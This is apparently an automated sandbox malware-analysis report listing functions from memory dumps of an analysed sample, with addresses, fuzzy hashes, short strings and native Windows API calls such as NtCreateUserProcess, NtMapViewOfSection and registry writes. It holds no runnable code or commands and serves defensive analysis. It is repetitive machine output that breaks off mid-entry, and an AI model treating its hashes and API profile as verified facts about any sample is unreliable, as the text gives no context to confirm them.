Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: MZP
API String ID: 0-2889622443
Opcode ID: 9724660c81d6b4d4e85721cf2a03143f2a7393fb2cf8d7498bca270253201801
Instruction ID: cc7748a5cced56fcd4e48419fb257e396cbdcd89057869fffb3fc10aa022b567
Opcode Fuzzy Hash: 9724660c81d6b4d4e85721cf2a03143f2a7393fb2cf8d7498bca270253201801
Instruction Fuzzy Hash: E712F874A002099FDB10DFA9C885FAEB7B5BF88304F14816AF504EB395D774AD42CBA4

Function 004BB830 Relevance: 1.7, Strings: 1, Instructions: 481COMMON

Download Yara Rule

Strings

)*, xrefs: 004BBBB0

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: )*
API String ID: 0-3726918850
Opcode ID: 0f8a7d29b5f4f0c61f6aeac9bdf0272015e7dc4c518dad0ef53adf926e0811cb
Instruction ID: 31c7a02204dbacf2bae6b680cfb149a7f45cce250f9d4fc96a03285ccc51a0b3
Opcode Fuzzy Hash: 0f8a7d29b5f4f0c61f6aeac9bdf0272015e7dc4c518dad0ef53adf926e0811cb
Instruction Fuzzy Hash: 7FF1F0B6E44218AFDF14CFE5E8915EE7F72FF95304F088429E800AB212D7794506DBA8

Function 004C1080 Relevance: 1.7, Strings: 1, Instructions: 451COMMON

Download Yara Rule

Strings

6543, xrefs: 004C147F

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: 6543
API String ID: 0-3529428475
Opcode ID: 12e9b8f8ee4447e1ef58d9faf1b8bbca0bee51c83b80b9eb7133ddca164cb275
Instruction ID: e056f6ebef77fa3cb7ded6d6862967b88716a5f4b5a07871e64c81ebc3c4b121
Opcode Fuzzy Hash: 12e9b8f8ee4447e1ef58d9faf1b8bbca0bee51c83b80b9eb7133ddca164cb275
Instruction Fuzzy Hash: DBB13B7AA043504BE764DB248892B7BB3E1EF96314F1D842EE98597362E73CDC05C35A

Function 004DACE0 Relevance: 1.6, Strings: 1, Instructions: 399COMMON

Download Yara Rule

Strings

4rs, xrefs: 004DB040

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: 4rs
API String ID: 0-1980827292
Opcode ID: c96d913301387d36c9a672cca285cea1db1c616ca51f8bc5d2a94b26b3d02f10
Instruction ID: 91d71e45afc8b2a7592d521acfe112c1c7ba63a4d8359a11d60ada0a37c3826c
Opcode Fuzzy Hash: c96d913301387d36c9a672cca285cea1db1c616ca51f8bc5d2a94b26b3d02f10
Instruction Fuzzy Hash: BCB1D035A48251CFC308CF38D89062BB7E2EBC9315F1A897DD49997352D735E912CB85

Function 005FA8C4 Relevance: 1.6, Strings: 1, Instructions: 368COMMON

Download Yara Rule

Strings

@, xrefs: 005FAC9F

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 4ce482a253f013bf13c3b705f4ee02be3ba1f5e6fe8e5430347914fd1422d0f7
Instruction ID: 521359c0e66a110be6f543214fccd883fcf16720187843fc8a738a26b2248068
Opcode Fuzzy Hash: 4ce482a253f013bf13c3b705f4ee02be3ba1f5e6fe8e5430347914fd1422d0f7
Instruction Fuzzy Hash: 6FF143B0E0021DCBCB18CF98C5906FEBBB2FF88314F248169D959A7355D7785A86CB52

Function 004BCA10 Relevance: 1.6, Strings: 1, Instructions: 315COMMON

Download Yara Rule

Strings

~, xrefs: 004BCADD

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID:
String ID: ~
API String ID: 0-1707062198
Opcode ID: 01673f96a078b716b1d384a2a549e1469b33465fcb4660727f2236d8e769d117
Instruction ID: f799ca1c99e63c4d862fe3ef75371ebf2205dd905c05c947b63f3856f9515787
Opcode Fuzzy Hash: 01673f96a078b716b1d384a2a549e1469b33465fcb4660727f2236d8e769d117
Instruction Fuzzy Hash: 27A12A329042615FCB11CE28CCC16ABBBE1AB95314F19C63EE8ADDB382D634DD0697D5

Function 00549CF8 Relevance: 1.6, APIs: 1, Instructions: 52nativeCOMMON

Download Yara Rule

APIs

NtCreateUserProcess.NTDLL(?,?,?,?,?,?,?,?,?,?,?), ref: 00549D50

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: CreateProcessUser
String ID:
API String ID: 2217836671-0
Opcode ID: ceb6889a1d45226e9735b13f444d944892ea023534c4c07888f252bc4fe6890a
Instruction ID: 93af91855128a519098a763fafc58a00e47d0eb811b24431c9bfdc8b2559d1fa
Opcode Fuzzy Hash: ceb6889a1d45226e9735b13f444d944892ea023534c4c07888f252bc4fe6890a
Instruction Fuzzy Hash: 72015CB6604259BF9B10CE8ADCC5DDBBBADFB8D764B844415FB1897242C270AC51CBB0

Function 0054A58C Relevance: 1.5, APIs: 1, Instructions: 48nativeCOMMON

Download Yara Rule

APIs

NtMapViewOfSection.NTDLL(?,?,?,?,?,?,?,?,?,?), ref: 0054A5DC

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: SectionView
String ID:
API String ID: 1323581903-0
Opcode ID: c6d40fbf12e95f3c841bfeba330882babf2d2ba98f30ce92c8ae7d944a30774e
Instruction ID: 6d5b66239b55383189be91e815b03350569fc303b8ad9d82d002c75d5f506871
Opcode Fuzzy Hash: c6d40fbf12e95f3c841bfeba330882babf2d2ba98f30ce92c8ae7d944a30774e
Instruction Fuzzy Hash: 990191B6204259BF9B10CF8ADCC5DEBBB6DFB8D794B444415BB1997212C270AC50CBB1

Function 0054A2E0 Relevance: 1.5, APIs: 1, Instructions: 44filenativeCOMMON

Download Yara Rule

APIs

NtWriteFile.NTDLL(?,?,?,?,?,?,?,?,?), ref: 0054A328

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: c3166ce69bdc22be28c998a8f0a64803a72ad366d0228ee05d6b605b2ed8404a
Instruction ID: d1d3790b81cdccd501874ace862be018d90164ed95029a86d1ff5eeb0e004c46
Opcode Fuzzy Hash: c3166ce69bdc22be28c998a8f0a64803a72ad366d0228ee05d6b605b2ed8404a
Instruction Fuzzy Hash: 82F0A9B6244249BFDB10CE8ADCC8DEB7B6CFB8D7A4B548405BA1897201D270AD50CBB1

Function 00549E14 Relevance: 1.5, APIs: 1, Instructions: 44filenativeCOMMON

Download Yara Rule

APIs

NtNotifyChangeDirectoryFile.NTDLL(?,?,?,?,?,?,?,?,?), ref: 00549E5C

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: ChangeDirectoryFileNotify
String ID:
API String ID: 1357473996-0
Opcode ID: 7bf13fd2123804c42391322157a07fcff34841b4f7a3684634ca904a847ea7f7
Instruction ID: 8e64b95bfe6243554dd358860476aabeb2ee5ddfa9e6b187addca34fae98e42a
Opcode Fuzzy Hash: 7bf13fd2123804c42391322157a07fcff34841b4f7a3684634ca904a847ea7f7
Instruction Fuzzy Hash: 85F0FFB61012597F9700CE9ADCC4DEB7F6CFB8D664B488005BA4883202C230AC10C7B1

Function 0054A070 Relevance: 1.5, APIs: 1, Instructions: 32nativeCOMMON

Download Yara Rule

APIs

NtEnumerateKey.NTDLL(?,?,?,?,?,?), ref: 0054A0A0

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: Enumerate
String ID:
API String ID: 304946047-0
Opcode ID: 6e057edab38eac659f5adbb5cbc6a4075dde1b8a21b5fd1b5d252bdde3b171a1
Instruction ID: 74acf886532e7c20038c430b3c251e3572f256cdca29e7206e0ddcfe9f8b1689
Opcode Fuzzy Hash: 6e057edab38eac659f5adbb5cbc6a4075dde1b8a21b5fd1b5d252bdde3b171a1
Instruction Fuzzy Hash: 4BE012B6105158BFA7108F56DC4DDE77F6DEBC57A4B04C41AB50887141C1716C40C7B1

Function 0054A0B0 Relevance: 1.5, APIs: 1, Instructions: 32nativeCOMMON

Download Yara Rule

APIs

NtSetValueKey.NTDLL(?,?,?,?,?,?), ref: 0054A0E0

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: fca203b7c2b2aa221878a55b98a4ae285af144ff5acf8606532de714e766e386
Instruction ID: 82609b9006d860ace4d6216b0767f6fb227947b06c3895bb988497b2aaca5b95
Opcode Fuzzy Hash: fca203b7c2b2aa221878a55b98a4ae285af144ff5acf8606532de714e766e386
Instruction Fuzzy Hash: 40E012BA1441587FA7108B56DC4CDE77F6DEBC97A8F08C01AB50887101C1716C40C7B0

Function 0054A1E0 Relevance: 1.5, APIs: 1, Instructions: 32nativeCOMMON

Download Yara Rule

APIs

NtQueryMultipleValueKey.NTDLL(?,?,?,?,?,?), ref: 0054A210

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: MultipleQueryValue
String ID:
API String ID: 23559346-0
Opcode ID: 8442e674ea2a75c654fd6dbde98574a361d68dc82e508e2070798aeb24459f3e
Instruction ID: ff983030c9845d4b231fd1890dad3aa47944d7ed1e6b64424a8721540275835f
Opcode Fuzzy Hash: 8442e674ea2a75c654fd6dbde98574a361d68dc82e508e2070798aeb24459f3e
Instruction Fuzzy Hash: E7E012BA1051587FA7108B96DC48DEB7F2DEBC97A8B04841AF50587151C1716D40D7B0

Function 0054A778 Relevance: 1.5, APIs: 1, Instructions: 32filenativeCOMMON

Download Yara Rule

APIs

NtOpenFile.NTDLL(?,?,?,?,?,?), ref: 0054A7A8

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: FileOpen
String ID:
API String ID: 2669468079-0
Opcode ID: d4dde66a787d532ba8e90d23357180e5c202854cc4563be6751510d9d42e19f4
Instruction ID: 3467273691cc241b5c134f4b1355f347a28630f1ec7f4bce18b7c2169948c96d
Opcode Fuzzy Hash: d4dde66a787d532ba8e90d23357180e5c202854cc4563be6751510d9d42e19f4
Instruction Fuzzy Hash: 27E0EDBA1411587FA7209B8ADC8DDF77F6DEBC67B4B04841AB50587141C1706C40C6B0

Function 00549F74 Relevance: 1.5, APIs: 1, Instructions: 32nativeCOMMON

Download Yara Rule

APIs

NtEnumerateValueKey.NTDLL(?,?,?,?,?,?), ref: 00549FA4

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: EnumerateValue
String ID:
API String ID: 1749906896-0
Opcode ID: 230944216405781a14dd203d69e55dadc8d5e02b027fe7d1078b9936dc55d1d7
Instruction ID: b463a7779c0691aa6a470379f969f44dc921182b175448140f9f0ec3dea38374
Opcode Fuzzy Hash: 230944216405781a14dd203d69e55dadc8d5e02b027fe7d1078b9936dc55d1d7
Instruction Fuzzy Hash: 30E0E5B6114168BFA7108A9ADC8DDEBBF6DEBCA7A4B04D41AF91987141C271AC44C6B0

Function 0054A558 Relevance: 1.5, APIs: 1, Instructions: 26nativeCOMMON

Download Yara Rule

APIs

NtQuerySection.NTDLL(?,?,?,?,?), ref: 0054A57F

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: QuerySection
String ID:
API String ID: 1985485932-0
Opcode ID: 2b4ca5ea320fb9bf470471002ade5c370d6ec70396ad79bd4da53fb3cbbf197c
Instruction ID: 3ad09762c3993616ba66f6d5a0df37d0a01b0fbbb7e772a1929f175bcddf41f9
Opcode Fuzzy Hash: 2b4ca5ea320fb9bf470471002ade5c370d6ec70396ad79bd4da53fb3cbbf197c
Instruction Fuzzy Hash: EEE08CB90001247E9B21575ADC0DEEB7F6DEBC67B0B08802AB40992101C260AD04C2B0

Function 0054A684 Relevance: 1.5, APIs: 1, Instructions: 26filenativeCOMMON

Download Yara Rule

APIs

NtQueryInformationFile.NTDLL(?,?,?,?,?), ref: 0054A6AB

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: FileInformationQuery
String ID:
API String ID: 365787318-0
Opcode ID: fbe20100ec62a44ea307c27fe05dd47c438577c1d341f440f098e4241f753d90
Instruction ID: c652c903fdee8696fa35d72296eb961814e448ec6a8a3f803068b567df553cf5
Opcode Fuzzy Hash: fbe20100ec62a44ea307c27fe05dd47c438577c1d341f440f098e4241f753d90
Instruction Fuzzy Hash: 43E08CB55001247E97205A4ADC0CEE77F2EEBCA7B2B09801AB80993100C260AC44C2B0

Function 00549BB0 Relevance: 1.5, APIs: 1, Instructions: 26nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationProcess.NTDLL(?,?,?,?,?), ref: 00549BD7

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: InformationProcessQuery
String ID:
API String ID: 1778838933-0
Opcode ID: 27589bc4c13dc74a6403ac18502b9b7999c072a70a03d77a6cba6049584a0f3a
Instruction ID: 780944405b1e1fd6ed94d00f4aeca8086ad21cce08fa2fbb4106fc93e5bc117a
Opcode Fuzzy Hash: 27589bc4c13dc74a6403ac18502b9b7999c072a70a03d77a6cba6049584a0f3a
Instruction Fuzzy Hash: 90E012B61041547EE7509B9AEC0DDE77F6DDBC67B0B08C51EB44993550C274AC50C6B0

Function 00549D8C Relevance: 1.5, APIs: 1, Instructions: 26filenativeCOMMON

Download Yara Rule

APIs

NtSetVolumeInformationFile.NTDLL(?,?,?,?,?), ref: 00549DB3

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: FileInformationVolume
String ID:
API String ID: 2893123674-0
Opcode ID: 9bc8ae7338130f96a71bc2568888c30ae9e7c93493c88aea08436f82c5a578c6
Instruction ID: db533062d585bbcf7788db76fe0f2a43a5e133bdba6497026640a63df1eea7f1
Opcode Fuzzy Hash: 9bc8ae7338130f96a71bc2568888c30ae9e7c93493c88aea08436f82c5a578c6
Instruction Fuzzy Hash: 1DE012B95041587EE721575AEC0DDF77F6DEBC67B9B18801AB54893150C6A0AC50C2F0

Function 00549FB4 Relevance: 1.5, APIs: 1, Instructions: 26nativeCOMMON

Download Yara Rule

APIs

NtQueryKey.NTDLL(?,?,?,?,?), ref: 00549FDB

Memory Dump Source

Source File: 00000000.00000002.2186875791.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.2186859047.00000000004A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.00000000004E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2186875791.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_hthjjadrthad.jbxd

Similarity

API ID: Query
String ID:
API String ID: 3850148591-0
Opcode ID: 20c806e4119b352afb07f80592aaaaa5a7cd6e92af54fe2fc50114bcd56aec79
